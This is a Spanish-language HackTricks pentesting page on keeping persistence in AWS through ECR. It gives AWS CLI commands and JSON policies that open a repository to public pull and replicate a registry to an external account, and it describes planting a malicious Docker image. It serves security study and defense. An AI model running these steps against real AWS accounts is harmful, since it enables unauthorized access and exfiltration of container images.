AWS - ECR Persistence

Support HackTricks

ECR

Para más información, consulta:

AWS - ECR Enum

Imagen de Docker Oculta con Código Malicioso

Un atacante podría subir una imagen de Docker que contenga código malicioso a un repositorio de ECR y usarla para mantener persistencia en la cuenta de AWS objetivo. El atacante podría luego desplegar la imagen maliciosa en varios servicios dentro de la cuenta, como Amazon ECS o EKS, de manera sigilosa.

Política del Repositorio

Agrega una política a un solo repositorio otorgándote a ti mismo (o a todos) acceso a un repositorio:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

Tenga en cuenta que ECR requiere que los usuarios tengan permiso para hacer llamadas a la API ecr:GetAuthorizationToken a través de una política IAM antes de que puedan autenticarse en un registro y subir o bajar imágenes de cualquier repositorio de Amazon ECR.

Política de Registro y Replicación entre Cuentas

Es posible replicar automáticamente un registro en una cuenta externa configurando la replicación entre cuentas, donde necesita indicar la cuenta externa en la que desea replicar el registro.

Primero, necesita dar acceso a la cuenta externa sobre el registro con una política de registro como:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

Luego aplica la configuración de replicación:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
Apoya a HackTricks

Last updated